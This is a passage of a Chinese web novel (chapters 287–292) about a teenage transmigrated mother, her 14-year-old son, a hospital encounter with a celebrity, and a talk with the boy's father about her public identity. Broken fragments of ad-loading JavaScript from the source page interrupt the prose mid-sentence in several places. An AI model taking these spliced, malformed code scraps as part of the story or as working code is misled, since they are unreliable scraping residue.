白幺幺从椅子上站起来朝人走去,迎着小少年疑惑的目光,白幺幺直接伸手在人脑袋上撸一把。 “儿子,你已经是十四岁的男子汉了,难道还不明白一个道理吗?” 白泽安有点没反应过来,神情呆呆的,似是在问什么道理。 白幺幺也没卖关子,又在人脑袋上撸了把,才凑近人耳边耳语。 “儿子,记住了,不管你多大年纪了,你妈永远是你妈,反过来,不管我多大的年纪,我儿子永远还是我儿子。 难道让你有机会回到过去,遇到还是婴儿时期的妈妈,你会因为妈妈还是襁褓中的婴儿,就不认妈妈吗?” 白泽安:“……” 在脑中想象了下他对着一个襁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 褓中婴儿喊妈妈的画面,他浑身陡然一个激灵。 十八岁的妈妈vs襁褓中的妈妈 果然,没有对比就没有伤害。 一瞬间的,白泽安觉得十八岁的妈妈好像也不是很难接受。 他避开这个问题说道:“我,我先看报告。” 白幺幺最后在 人脑袋上撸了把,才说:“看吧,看完结果,记得喊声妈妈来听听。” 白幺幺就站在旁边等着人翻看报告。 白泽安这回没再犹豫,翻开报告看起来。 白幺幺看着人对着报告发愣,她把手搭在人肩膀上拍了拍。 “是不是看不懂上面写的内容是什么意思,需要我给你解释下吗? 还有你平时不看电视的吗?好多电视剧里面就经常会出现这种关于亲子鉴定的情节。” 白泽安猛地抬头,眼眶红红的摇头。 他看得懂的,来时的车上,他就在网上了解了相关的知识。 他只是看到上面的结果,一时有些茫然无措,还有激动。 真……真的是他的妈妈! 所以,那些话不是编出来骗他的故事。 而是真的,都是真的。 白泽安再也控制不住情绪,一把将身前的人抱住,哇的一声哭了出来。 妈妈,是他的妈妈,是他的妈妈呀! 白幺幺伸手回抱住人,轻轻拍打着人后背。 “儿子,不哭,不哭哈,妈妈在了。” 白幺幺不出声还好,她这一出声,人直接哭得更大声了。 白幺幺:“……” 她果然只适合等人哭岔气了时,再出手。 白泽安并没有哭很久,情绪就慢慢稳定下来了。 反应过来他都这么大了,又再一次当着妈妈的面哭,简直太难为情了。 来医院的目的已经有结果了,两人一前一后走出医院。 白幺幺走在前面,小少年正害羞了,埋头跟在后面。 两人正要走出医院时,走在前面的白幺幺差点和一个全副武装急匆匆跑进医院的女人撞上。 要不是白幺幺反应够快,及时闪躲,人就…… 好吧,被撞倒是不可能被撞倒的。 毕竟在被撞倒和将要把她撞倒的人推开,她肯定选择后者。 只不过,这不,她现在力气有点大,能自己躲闪开还是自己躲闪开的好。 第287章 灭世反派的早死亲妈(17) 他们这是在医院,来医院的人跑起来不看路情有可原,能理解。 所以在差点撞到她的女人,没撞到她,却身体不稳整个人要往地上摔时,白幺幺还是伸手拉了人一把。 有惊无险。 女人稳住身形后,把手搭在胸前,轻呼了口气后才转头看向白幺幺。 “抱歉,还有谢谢。” 前面的抱歉是对刚刚差点撞到白幺幺的情况,后面的谢谢则是对白幺幺拉了她一把的事。 只是当女人看清白幺幺的长相后,她那双掩藏在墨镜下的眼睛倏地瞪大。 就是被口罩覆盖的双唇也微微张开了条缝,无声的呢喃出三个字来,“白……幺幺?” 白幺幺并没有注意到女人的异样。 又是帽子又是墨镜又是口罩的,她要是能注意到那就逆天了。 白泽安在看到她差点被人撞到时,呼吸一滞,快速向前伸手想将人稳住。 就算不行,他也做好当肉垫的准备了。 只是白幺幺反应比他更快,让他没了发挥的余地。 在白幺幺躲开后,白泽安看见那个差点撞到人的女人有向前摔的趋势,他也赶忙往旁边躲开。 他现在又是有妈的孩子了,要是被这女人碰受伤了,她肯定会很着急担心的。 女人收拾好脸上神情,扶了扶墨镜,准备收回目光离开。 只是她目光不经意扫到了正以守护者姿态站在白幺幺身后的白泽安时,脸上先是露出惊讶之色,紧接着神色变得十分古怪。 她快速将人打量一圈,才试探的开口,“安安,你是安安吗?” 白幺幺:“……” 还真是巧啊,遇到个认识小反派的人。 白泽安上下打量了下人,完全看不出是他认识的谁,遂问道:“你是?” 女人下意识的想摘掉墨镜和口罩,只是这时有人从她旁边经过,让她反应过来现在是在外面。 她往旁边走两步,更靠近白幺幺和白泽安两人些,才压低声说:“我是宋乐彤,以前时常会带着我女儿珊珊去孤儿院找你们玩的乐彤阿姨,安安你还记得我吗?” 宋乐彤?! 小反派听到这名字啥反应,还记不记得这人白幺幺不知道。 但白幺幺是知道这人的,除非真冒出个同名同姓的来,还很巧一样有个小名叫珊珊的女儿,不然眼前人无疑就是女主……她妈了。 女主她妈因着那档亲子综艺彻底走红,又迅速带着孩子嫁入豪门,同时开启了豪门贵妇佛系混娱乐圈的职业生涯。 所以,女主她妈是个明星,难怪来个医院要如此全副武装。 白泽安在听到宋乐彤这个名字时,他就想起了对方是谁,只是他没有要给对方回应的意思。 当年他年纪还小是没错,可是有些事情到现在仍是记忆犹新。 明明那晚上之前,他和妈妈的生活平静温馨幸福。 可是那晚之后,他和妈妈的生活有了天翻地覆变化。 白泽安知道,对方那晚上只是出于好心,想给他和妈妈送伞送钱。 可是后面他的妈妈死了,就这样死在他的面前。 当时小小的他不想去恨的,可是仇恨的种子自己就在他心中扎根了。 他真的不知道要去恨谁,又觉得应该要恨好多好多人。 他甚至恨过自己,觉得那天若不是他的生日,妈妈也不会带着他出去买小蛋糕。 还有肯定是因为他拿着块摔坏的小蛋糕许愿,神明生气了,才不帮他实现愿望的。 在孤儿院里,他知道对方往孤儿院捐款,还指明要资助他。 院长阿姨在收到对方的第一笔捐赠时,就有把他叫到办公室里。 然后告诉他有好心人要资助他读到大学,让他好好长大,好好读书。 似曾相识的话,他问院长阿姨那个好心人是不是那个叫宋乐彤的女明星。 院长阿姨很是惊讶的看着他,问他是怎么知道的。 他当时咬着唇一言不发。 院长阿姨只能无奈的叹了口气,之前网上时常挂热搜的新闻,她怎么可能没看到。 事情会发展成这样, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 让这孩子直接成为孤儿,是谁也不想看到的。 院长阿姨没再说什么,让他出去和别的小朋友玩。 走到门口时,他还是回头和院长阿姨说了,他不需要那女人资助,更不要用那女人的钱。 那些人都在说妈妈没收下那女人钱是不识好歹,当时他还不太懂这个词是什么意思。 可他是妈妈的孩子,他就要和妈妈一起不识好歹。 久久没得到回应,宋乐彤微挑了下眉,有些尴尬的说:“安安不记得了啊!自从你被亲生父亲从孤儿院接走后,我们的确有几年没见了,不记得也是正常。” 想到什么,宋乐彤又说:“那珊珊,安安你还记得珊珊吗? 对了,珊珊现在就在医院里,你要不要见见她? 你被接走后,珊珊去孤儿院没见到你,那天可是哭得一双眼睛红得像小兔子。” 宋乐彤有点像在自说自话,她是个演员也不觉得尴尬就是了。 只是自从嫁入豪门,又当上 了大明星,出门在外,还没像现在这般被人无视过。 她的那些狂热粉丝就不说了,圈子里的其他豪门太太见了她,也都会热络的上前来打招呼。 宋乐彤自觉她不是什么大好人,但也绝对不是什么坏人。 她只是比其他女人有野心,善专营点。 在上层社会这个圈子里待久了,她看人下意识的就会去看其身上穿搭的价值。 然后她就有点被震惊到了。 先不说白泽安身上穿着私人定制鞋服,她视线不动声色的扫过人手上戴着的手表。 为了融入这个圈子,她不仅花大功夫去研究珠宝玉石,同样还研究了各种名表名车名酒。 而白泽安手上戴着的那款手表她刚好知道,其价值超千万。 宋乐彤脑子转得很快,看来这孩子的亲生父亲很有钱,或者说不只有钱那么简单。 宋乐彤如愿嫁给女儿她爸后,在第三年又给女儿生了个弟弟。 不过她并没有重男轻女思想,两个孩子,她还是更爱女儿些。 第288章 灭世反派的早死亲妈(18) 她很早就懂得女人一生中有两次投胎的机会,一次是出生,一次是嫁人。 她自己就是出生,也就是第一次投胎没投好。 幸好第二次投胎,她自己争气,逆风翻盘,彻底改变了自己的命运。 而她的女儿和她是不一样的,是含着金汤匙出生的小姐命,是上天眷顾的小公主。 可以说,她女儿十分的好运气,第一次投胎就投得十分好。 而这女人的第一次投胎是不能选择的,第二次投胎可就能自己选择了。 作为过来人,宋乐彤是希望女儿未来能嫁得比她还好,过得比她还好的。 养了女儿后,她这颗心真的是时常悬着,很担心女儿长大后会遇到渣男,甚至遇到穷小子凤凰男。 太多普通家庭,甚至穷人家庭的孩子,父母下大功夫的将儿女往贵族学校送。 打的什么目的,大家都一清二楚。 不就是想让自己的孩子和那些家里有权有势的孩子交朋友,以后能多条人脉多条路。 甚至还可以在里面谈个优质的结婚对象,实现阶层跨越。 她也不去搞只许州官放火,不许百姓点灯那套,各凭本事就是了。 所以,她总是会在背后用温和的手段干预女儿的交友情况。 也会有意识的用丈母娘看女婿的眼光去审视女儿身边的异性同学和朋友。 人么,有时候没条件就要自己创造条件。 做人做事不仅要未雨绸缪,更要深谋远虑。 宋乐彤真不觉得,女儿还小了,她就在考虑这些,背后使那些小动作有什么错。 爱情是珍贵的,但是青梅竹马的情谊更难得。 她的女儿值得世间一切最美好的。 她的女儿只要单纯快乐活着,其他的,她这个当妈的会在背后给她谋划好了。 不然怎么说,父母之爱子,则为之计深远。 宋乐彤说了这么多,白泽安一直没有回应半句。 白幺幺皱了皱眉,回头看去,才发现小反派低垂着脑袋,身体还微不可察的在颤抖。 这…… 白幺幺猜到应该是女主她妈的出现,以及她说的话勾起了小反派的那些不好回忆。 白幺幺暗暗在心里骂了声“晦气”。 要是知道差点撞到她的人是女主她妈,那她刚刚就不好心伸手拉人了。 “呜呜,儿子,妈妈的小手手脏了,咱们赶紧回去洗手消毒吧!” 白幺幺用刚刚没拉人的那只手去挽住小少年的胳膊,想带着人先离开。 至于女主她妈,对着个孩子无事献殷勤,非奸即盗。 只是白幺幺手挽上小少年胳膊后,才更清晰地感觉到小少年身体颤抖得厉害。 她只是犹豫了下,顺势轻轻拍打着小少年的手臂安抚。 “妈妈在了,妈妈在了,回家,妈妈带你回家……” 白幺幺没有说其他的,就这几句话不断重复着。 面上已经露出不悦之色的宋乐彤:“……” 她刚刚听到了什么? 妈妈? 一开始,她就有往替身的方向猜测。 甚至,还想到一种最有可能的可能。 那就是儿子花大心思亲自找人,给他爸送去一个和他妈长得相像的替身。 不然哪个儿子,亲妈去世了,亲爸找了个和亲妈相似的人当替身,还把人带回家里来,儿子和亲妈替身能和平相处的 替身梗,完完全全就是最膈应人的骚操作。 不过,现在看来。 这到底是谁给谁找的替身,还有待商榷啊! 宋乐彤暗自在心里摇头,再有钱再优秀的男人,如果有恋母情结,那还是不要放出来祸害人家好姑娘了。 她熄了刚萌芽的心思。 离开前,她又扫了眼胳膊挽一起的两人,浑身一阵恶寒。 白幺幺可不知道女主她妈的想法,不然一定会给点个赞的,这脑洞可以呀! 如白幺幺所想,宋乐彤的话让白泽安想起了那些不好的记忆。 经过时间的沉淀,他其实已经学会了很多很多东西。 比如隐忍,比如沉稳,比如控制情绪,比如忘记,再比如…… 可是,他不知道,不知道原来妈妈没离开,还一直陪在他身边。 那她是不是看到,看到了他被人欺负没哭,半夜却偷偷躲在被窝里哭。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 那她是不是看到,看到了他经常从孤儿院偷跑出去捡瓶子,捡废纸皮,搬砖。 那她是不是看到,看到了他曾捡拾垃圾桶里的食物,吃得狼吞虎咽。 那她是不是还看到…… 白泽安觉得他真的好没用,好没用。 说好的,要保护妈妈的。 可是最后,妈妈却因为救他,而没了命。 那么好的妈妈,她应该要去天堂享福的。 可还是因为他,放心不下他,一直守护在身边。 而他怎么就这么不争气,一直让妈妈操心担忧难过。 还有现在的……妈妈,他一样…… 白幺幺发现她难得的温柔,没能将人从不好的回忆中拉出来,反而貌似好像让人的情 况越来越糟了。 白幺幺:“……” 她抽回手,想也不想对着人后脑勺拍了下去。 啪的一声响,还真把白泽安从自我否定,厌弃的情绪中拉了出来。 白泽安抬头看向白幺幺,眼眶微红,眼眸里是清晰可见的委屈与茫然。 这种时候白幺幺同志当然是无视掉啦,抬手又在人脑袋上拍了下,不过这回力道轻点。 然后,她的表情比他还委屈。 “儿子,妈妈刚刚喊你那么多声,你怎么都没回应,你是要吓死妈妈吗? 你是不是又因为我是十八岁的妈妈,所以对我态度就是比较敷衍。 呜呜,你还说你没区别对待,你就是区别对待了。” 白泽安:“……” “我……我没有,真的。” “我什么我,亲子鉴定结果都出来了,你却依旧连妈妈都不喊,还说没区别对待。” 白泽安:“……” 在白幺幺气呼呼的眼神瞪视下,白泽安憋了很久,才轻声吐出一个字来,“……妈!” 白幺幺满意的眯了眯眼,不忘提醒道:“男孩子要大气点,下回可别喊这么小声了,要大声点,不然我没听到怎么办。” 有些事情,那就是一回生二回熟,比如喊妈。 当在回去的车上,白泽安又开口喊妈时,前面的司机差点就一脚油门干到底了。 第289章 灭世反派的早死亲妈(19) “对了。” 白幺幺想到什么,表情变得有些神神秘秘起来。 说话时还特意凑近了白泽安些,不知道的还以为准备说什么不为人知的秘密。 不管是白泽安还是前面的司机,他们都是这么认为的。 相较于前面司机已经偷偷竖起耳朵准备听个仔细,白泽安则莫名的把心悬起了。 知子莫若母,反之亦然。 哪怕现在是十八岁的妈妈,两人也还没有相处多长时间。 白幺幺说话时,还侧着手掌稍微遮掩下嘴巴,就一副要与人说悄悄话的模样。 只是吧,那说话的声音是有刻意压低了没错。 可那音量就连前面司机竖耳朵的动作都显得多余了,根本不用注意听就能听清楚。 “儿子,那秃顶发福猥琐老男人呢?就是你生物学上的父亲,等下回去会见到他吗?” “咳咳咳!”司机一个没忍住猛咳出声。 要不是他足有十六年的驾龄,驾驶技术也是杠杠的,怕是此时他们的车就要在大路上上演惊险一幕了。 司机:“……” 真难以想象,秃顶,发福,猥琐,还有老男人这四个词和佛爷联系起来画面。 或许是白泽安算是提前有了准备,所以他的反应没司机如此大,却也脸颊和嘴唇齐抽搐了下。 他神色有些古怪的说:“其实你已经见过他了。” 白幺幺疑惑的惊呼,“见过了?” 白泽安点了点头。 白幺幺一脸不可置信的说:“是……是……该不会是现在正给我们开车的司机吧?!” “咳咳咳!” 才咳完,又来,司机此刻才明白好奇害死猫这个理呀! 此时,白幺幺在司机心中已经是祖宗级别的存在。 不仅能将他们小少爷收服得跟乖儿子似的。 嗯,可不就是乖儿子,连妈都喊上了。 还能错把他以为是佛爷,简直是要把他心脏给惊出胸腔来,让他差点原地去世。 这回白泽安事先就没准备了,所以反应也稍稍有点大。 他被自己口水呛到了,只是没有放声咳出来,而是抿着唇闷咳。 罪魁祸首白幺幺:“……” 她一脸无辜的伸手给人顺了顺背。 “怎么这么不小心,下回可要注意点了,不然妈妈会担心的。” 前面咳得面红耳赤的司机:“……” 后面同样咳得面红耳赤的白泽安:“……” 缓过来后,应该是害怕白幺幺再说出什么离了个大谱的猜测。 白泽安直接挑明道:“他,咳咳,你不止见过他一面的,你还……抱过他的。” “抱过他?” 白幺幺同志眼睛睁大一圈,不可置信。 她没有放过告状的机会。 “儿子,我会抱他,那还不是把他误认成你了。 说起这,我就生气! 他明知道自己不是我儿子,不出声解释就算了,还不推开我,占了我老长时间的便宜了。 等你进来后,我才发现自己认错了人,立马就纠正错误,将人推开。 哼,要是我不把人推开,他还不知道要让我抱多久了。 我知道我才十八,花儿一样嫩的年纪,很容易招蜂引蝶,可他也不看看自己几岁了,还想老年吃嫩草。 哼,美得他了!” 其实也才……三十二岁! 一下子陷入短暂沉思中的白泽安:“……” 或许他晚上要去趟书房找人聊聊。 已经破罐子破摔的司机:“……” 这是他能听的吗? 妥妥的不是啊! 可一路上来已经听那么多,不差这点,真不差这点了。 告完状,白幺幺继续不那么小声的嘟囔。 “我一开始还以为那是你同父异母哥哥啥的了,谁能想到他会不是个秃顶发福猥琐老男人啊。” 白泽安犹豫了下,问道:“她没和你讲过他的情况吗?” 考虑到车上还有司机在,白泽安没有说太明白,不过不妨碍白幺幺听明白。 白幺幺摇头,“就提过一回,很简单的两句话,就是他找到你,把你从孤儿院接回家了。 然后也没说他几岁,长什么样子,家里是什么个情况。 我就自己寻思着,对方肯定是个秃顶发福猥琐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的老男人,她才懒得提起的。” 白泽安:……这些话要是让他听到了,脸上应该也会出现相当精彩的表情吧! 也幸好之后,白幺幺同志开始母爱泛滥,关心起小少年的学习情况以及在学校里和同学相处的情况。 司机那是暗自长长舒了口气,接下来的路程车子开得那叫一个稳。 到家后。 白泽安先自己开车门下车,然后跑过去给白幺幺开车门了。 告状这种事,赶早不赶晚。 所以,白泽安小少年还是很上道的。 白幺幺下车后,老欣慰的拍了拍小少年的肩膀。 “儿子,不错,很有绅士风度,不过记住了,有些绅士风度是只能对家里女人用的,知道了吗?” 白泽安点了点,“知,知道了。” 白幺幺满意的继续道:“唉,如果开关车门时,再喊上一句公主请上车,公主请下车,那简直就完美了。 不过算了,谁让你是我儿子,我知道你脸皮薄,就不为难你了。” 脸上表情有那么一瞬间龟裂的白泽安:“……” 他虽不怎么和异性接触,却也知道女孩子都有个公主梦。 妈妈现在才十八岁,还有公主梦是很正常的。 有那么一瞬间,白大孝子泽安差点上线,大声的和妈妈说,他脸皮不薄的,也不为难的。 幸好尚存的理智压下了这份冲动,白泽安莫名的有些心虚不自在。 “谢谢,谢谢妈妈。” 正好下车,听了个完整的司机:“……” 他脚下一个趔趄,得亏他还扶着车门,不然就要重新摔回车里了。 他脑中冒出一个非常可怕的想法,下次如果是他单独给这位祖宗开车,到时是不是也要下来帮开车门。 不不,应该说,人还没上前,要先帮忙开车门。 然后,是不是也要配套来句……公主请上车,公主请下车。 司机决定了,下回有接送这祖宗的活儿,他能不自己上,就不自己上,还是让给其他同事来吧。 白幺幺才十八岁,如果她已经四十八,五十八,怎么也要让好大儿搀扶着走进去,上演一副母慈子孝画面。 第290章 灭世反派的早死亲妈(20) 因着白幺幺的身份已经确认,让睡客房。 不说白幺幺自己不同意,白泽安也觉得怎么能让妈妈睡客房。 可是临时要整理布置出一个合白幺幺心意的房间来,肯定没那么快。 所以,白泽安将自己的房间贡献出来了。 霸占了儿子的房间,让儿子去睡客房。 问白幺幺都当妈,多大的人了,会不好意思吗? 答案必须是不会的啊。 还有什么都多大的人了?! 十八,她才十八岁,只比儿子大四岁的好不。 白幺幺的房间选在白泽安的隔隔壁,要如何布置,当然是要全按照她的想法来。 大到床的款式,小到窗帘的颜色,都是白幺幺亲自选的。 “好了,儿子你也赶紧过去睡吧,晚睡可是美貌杀手。” 白幺幺摆着手开始赶人。 还担心人初到一个陌生环境会不安失眠的白泽安:“……” 走到门口时,白泽安回头,心里隐隐有些不安。 “那,那个……” “想和妈妈说什么,快说,别吞吞吐吐的。” “你会突然离开吗?就像你突然离开原本的世界来到这个世界这样,又会突然离开这个世界回到你那个世界吗?” 白幺幺没想到小少年会突然问这个问题,离开肯定是不可能离开的。 只是她不能说呀,因为理论上这道题她应该要不会解的。 白幺幺盯着人看了一眼,笑嘻嘻的打趣。 “儿子, 你这是在舍不得我这个十八岁妈妈吗? 不错,果然妈妈没白疼你。 不过这种离奇的经历,妈妈自己到现在也还一头雾水。 嗯,感觉这就有点跟天要下雨娘要嫁人,都由不得人一个道理。 所以啊,儿子,你可得再对妈妈好点,咱可不兴区别对待哦!” 再次听到区别对待这个词,白泽安心里的不安莫名被冲淡不少。 小少年第一次露出无奈的表情,就差真的竖起手来发誓了。 “我真的没有区别对待,也不会区别对待的。” 只是,可能很久很久没和妈妈相处了,他到现在其实还被困在强烈的不真实感中,需要一点点时间来适应。 “好了,好了,妈妈信你了,快些回去休息吧。” 白幺幺同志又开始摆手赶人,亲儿子也不能影响她睡美容觉。 白泽安:“……” 这敷衍的语气,白泽安知道以后怕是要经常听到这个词了。 轻轻将门带上,白泽安并没有回去睡,而是往书房走去。 站在书房门前,白泽安想着这回要找人聊的事情,终是没再像之前几次那样不敲门就进去。 他伸手轻轻在门上敲了三下,听到回应才推门进去。 白泽安开门见山的说:“亲子鉴定结果你应该知道了吧!” 萧禹洲猜到他会过来,是特意在书房等人的。 他只是淡淡“嗯”了声。 一个十四岁,一个……十八岁,做起事情来,果然还是容易欠考虑。 不就是做个亲子鉴定,直接将要鉴定的样本送去医院就行,根本不用人亲自跑去的。 人亲自去了,不管结果怎样,总会引起一些不必要的麻烦,或者埋下一些未知的隐患。 不过该说不说,还知道要去自家的医院做这亲子鉴定,很不错。 孩子成长过程中,一些试错成本想完全规避掉是不可能的。 白泽安见人知道结果后,还能如此淡定,甚至脸上没出现半丝疑惑好奇神色。 或许也疑惑好奇的,只是隐藏太深,他窥探不出来。 不过,还是隐隐有些不开心。 白泽安咬着牙强调,语气中还多了些许连他都不自知的炫耀。 “亲子鉴定结果显示,她是我亲妈,有血缘关系的亲妈,嗯,十八岁的亲妈。” 萧禹洲轻点了下头,这回还多说了两个字。 “我知道。” 白泽安:“……” 就这样? 他此刻就像是一个小心翼翼捧着刚得到的心爱玩具,兴冲冲跑去和人分享。 可对方一点都不捧场,简直……要憋坏他了。 白幺幺:“……” 玩具? 哪怕是小心翼翼捧着的,心爱的,都不行。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 哼,为娘的好大儿呀! 白泽安抿着唇不说了。 反正都知道了,那他妈的离奇来历肯定也知道,就不用他说了。 还在等着人继续说的萧禹洲:“……” 果然,还是个孩子了。 他微敛了下眸子,主动问道:“那女……她的来历问清楚了吗?” 白护妈崽泽安上线,他紧拧着双眉道:“你刚刚是不是要说那女人,还有什么她她她的,那是我妈,亲妈。” “还有”,想到什么,白泽安有些警惕的看着对面的人。 “你以后还是少和我妈接触,非接触不可的话,你要对她客气点,对她好点。 虽然,虽然事实上你们已经有我这么大一个儿子了,可她年纪还小,你都这把年 纪了,可不许动什么不该有的歪心思。” 都这把年纪的萧禹洲:“……” 他难得笑了,被气笑的。 “我和你妈是同一年出生的,我们同岁!” 后面的两个字,萧禹洲还特意加重了语气。 白泽安似乎也觉得他话说太直白了,不够委婉。 没看都把人刺激笑了。 他摸了摸鼻子,小声嘀咕,“我知道的,你和我妈同岁,要是我妈没出事,她现在也三十二岁了。 可是此妈非彼妈,我妈她现在就只有十八岁呀!” 萧禹洲不想继续这个话题了,“行,还是先说说她……你这个十八岁的妈的来历吧!” 几年的相处,尽管白泽安还无法对着人喊出爸爸这两个字来,不过对方已经成了他在这世上唯二可以信任的人了。 本来是唯一的,不过他现在又有妈妈了,所以就成了唯二。 白泽安的叙事能力很强,很快就将白幺幺给他说的简单整理,条理清晰的讲给男人听。 一个讲得很认真,另一个也听得很认真。 等白泽安讲完后,萧禹洲沉默了。 如此荒诞离奇,却似乎又由不得他不信。 难怪他的人查不到人的更多信息,就像凭空出现。 呵,可不就是凭空出现的。 还有,亲子鉴定结果做不得假。 第291章 灭世反派的早死亲妈(21) 两人又在书房里聊了点其他的,觉得差不多了,白泽安才说了今晚到书房找人的主要目的。 “我妈身份的问题,你,你这边帮忙弄下。” 毕竟是求人办事的,白泽安语气那叫一个好,还赔了个笑脸。 萧禹洲也没说要不要承下这件事,而是问道:“你准备让我给她安排一个什么身份?” 都不用想,白泽安脱口而出道:“当然是我妈。” 本来就是他妈,身份当然也要是他妈。 至于年龄这个问题,他乐意喊个只比自己大四岁人妈,谁管得着。 再说了,白泽安下意识的就又想到了“区别对待”这个词。 若是他敢对外将他妈的身份安排成姐姐或其他的,准又会被他妈指控区别对待了。 萧禹洲幽幽道:“你妈?确定。” 白泽安不明所以,坚持道:“我妈,当然只能是我妈呀!这有什么问题?” 想到什么,他露出无所谓的表情。 “你是不是担心我会承受不住别人异样的目光,以及背后的议论,放心,我内心很强大的。” ……特别是有他妈在他身边的时候。 萧禹洲又想笑了,依旧是被气的。 他摇头,而后幽幽出声。 “不是,我是在担心我自己。” 白泽安:“???” 他皱眉疑惑的看着人,不明白这话是什么意思。 萧禹洲勾唇露出一抹浅笑,看得白泽安莫名就心有点虚。 萧禹洲也没等人问,直接给解惑。 “外面的人都知道咱们的关系,我是你爸,你是我儿子。 你若是喊她妈,那她不就是我妻子,我不就是她老公。 我啊,都这把年纪了,哪里还敢肖想十八岁的娇妻,这传出去,不得说我为老不尊。 嗯,可能还会说我不知羞,儿子都多大了,还给找个只比他大四岁的后妈。” 白泽安:“……” 能说这些,他还真的都没想过吗? 还有他第一次听眼前人这般说话,有点阴阳怪气的味,让他又再次心虚了。 他妈现在才十八岁,按她妈穿过来的时间点,还在读高三,正备战高考了。 虽不确定他妈能在这个世界待多久,但出于私心,他当然希望她妈直接在这个世界待一辈子,永远陪着他。 如果他妈真在这个世界待一辈子,她现在毕竟才十八岁,后面肯定要读大学,之后应该还会考研,再之后还可能谈恋爱…… 想到这,白泽安的神色变了变。 他告诉自己,只要他妈开心,一切顺其自然,只要是他妈的选择,他都无条件支持。 白泽安皱着眉,一下子遇到了个难题。 “想想这样安排,似乎也有点不妥。 未来我妈要是遇到了想托付终身的人,她不就成二婚的了,很可能会被人看轻的。 尽管有我这个儿子给她撑腰,护着她。 可是流言蜚语最伤人,我就担心在我看不到的地方,我妈会受委屈。” 萧禹洲:“……” 合着就不担心他二婚! 他没好气的夸赞道:“你可真是个孝顺的好儿子!” 白泽安:“……” 阴阳怪气的那味儿又来了。 想了想,他说:“那你有什么比较好的建议吗?” 萧禹洲沉默了会儿,说:“把你妈的身份安排成你从国外回来寻亲的表姐。” 想到对方的那身怪力和事多性子,萧禹洲也不想平白无故多个“小娇妻”。 别看白泽安一开始对着十八岁的妈妈喊出那声妈妈,似乎经历了很大心理斗争。 可是只有他知道,真喊出来后,他心里空缺的那一大块直接被填满了大半。 树欲静而风不止,子欲养而亲不待。 同样的道理,现在能有妈妈可以喊,当然要好好的珍惜。 出于私心,小少年支支吾吾的说:“我……我……我妈……她应该不会同意的。” 因着有私心,所以底气有些不足,他又补充了句。 “嗯,我妈她不仅不会同意,我要是提了,她还会跟我闹脾气,说我又区别对待了。” 萧禹洲被勾起好奇,他问,“你之前区别对待她了,怎么区别对待的?” “我没有,那是我妈误会了。” 话落,白泽安将话题拉回来,“我妈的身份问题,到底要怎么安排比较好?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 萧禹洲看着人,一副别问他,他也不知道的表情。 最合理合适的建议他给了,不过也被否了,那他就真没招了。 白泽安有些失望的垂了垂眼睑,他又何尝不知道,对外称他妈是他姐,这是最好的安排。 可是,他想让人知道他有妈妈,还想大声告诉他们这是他妈妈。 而不是,明明是妈妈,却不能喊,只能喊姐姐。 看着人那副表情,萧禹洲在心中叹息了句,“终究还是个孩子”。 他最后又给出个建议,“与其在这边想再多,烦恼再多,还不如直接去问她……你妈。” 白泽安想想,觉得也是,他怎么就 忘记要征求下他妈的想法和意见。 “我妈现在已经睡了,只能等明天再问。” 看了下时间,已经十一点三十几分了。 他说:“有点晚了,我要回去休息了,不然我妈要是知道我这么才晚睡,会为我的身体健康担心的。” 白泽安说着就开始朝外走去,走到门口时,他还是回头道:“很晚了,你也早点休息,我妈说了,晚睡是美貌杀手。” 萧禹洲:“……” 他朝人摆了摆手,有驱赶人的意思。 “知道了,你赶紧回去休息吧!别到时晚睡真变丑了,遭你妈嫌弃。” 小少年听了,有些不服气的说:“我才不会变丑了,就算真变丑,我妈也不会嫌弃我的。 母不嫌子丑,没听过吗? 倒是你,都这把年纪了,要是再变丑,我妈肯定会嫌弃你的。” 来呀,互相伤害呀! 他妈就是他的逆鳞。 小少年最听不得的就是有人质疑他妈对他的爱。 萧禹洲无所谓的耸耸肩,“我就算变丑,你妈要嫌弃就嫌弃,我又不是你,为什么要在意她嫌不嫌弃。” 白泽安:“……” 说的好有道理,他一时无从反驳。 人只会被他在意的人牵动情绪,对于不在意的人,通常是直接无视。 小少年冷哼一声,也觉得刚刚的你来我往有点幼稚。 不过关上门前,他还是不忘留下这么句话,“我妈她年纪还小,你平时可不要欺负她。” 第292章 灭世反派的早死亲妈(22) 萧禹洲望着关上的门,久久之后才轻轻摇头。 母亲这个角色在一个孩子成长过程中,果然占据很“重要”的位置。 翌日。 白幺幺悠悠转醒。 她从床上坐起来,看了下时间,发现已经快九点了。 她一点也没睡晚起的慌乱和羞窘,慢悠悠的下床。 走过去拉开窗帘看了眼外面的好天气,舒适的眯了眯眼。 白泽安早上要去上课,在白幺幺还没醒来时,他已经来到房门前徘徊好多次了。 昨天整个人一直沉浸在他又有妈的复杂情绪中,直接忘记他还要上学的事。 早上醒来,还是管家孙伯提醒了一句,他自己才想起来还要去上课这事。 他去上课的话,那不就要把他妈孤零零一人留在家里,他真的有点不放心。 家里的其他人:“……” 小少爷,合着我们不是人呀?! 他甚至想着,要不今天请假不去上课,在家陪他妈得了。 只是白泽安也就想想,若是他妈知道了,肯定不赞同,也不会允许他请假不去上课的吧。 小少年心不在焉的吃完早餐,然后像操碎了心的老妈子,已经重复第三遍的叮嘱着管家孙伯一些关于如何照顾他妈的注意事项。 管家孙伯努力维持着脸上表情,认真听小少爷说完,最后目送小少爷频频回头,恋恋不舍的上车离开。 小少爷有了个妈,这事在庄园里早就传开了,没人不知道。 大家都十分好奇小少爷的这个“新妈妈”是何方神圣,还有家主是什么态度。 或者有没有可能人不是小少爷自己找的,而是家主给小少爷找的。 当然还是有几个知道内情的。 他们可是知道,人可不是他们家主或者小少爷找来的,而应该算是人自己主动找上小少爷的。 不过么,大家好奇归好奇,也只敢在心里好奇。 管家孙伯是已经见过白幺幺的,还接触过,一个生动,活泼,很有灵性的漂亮小姑娘。 瞧着小少爷离开时那副恨不得再折返回来,干脆把人一起打包带走的模样。 孙伯等车子开远后,才摇头感叹。 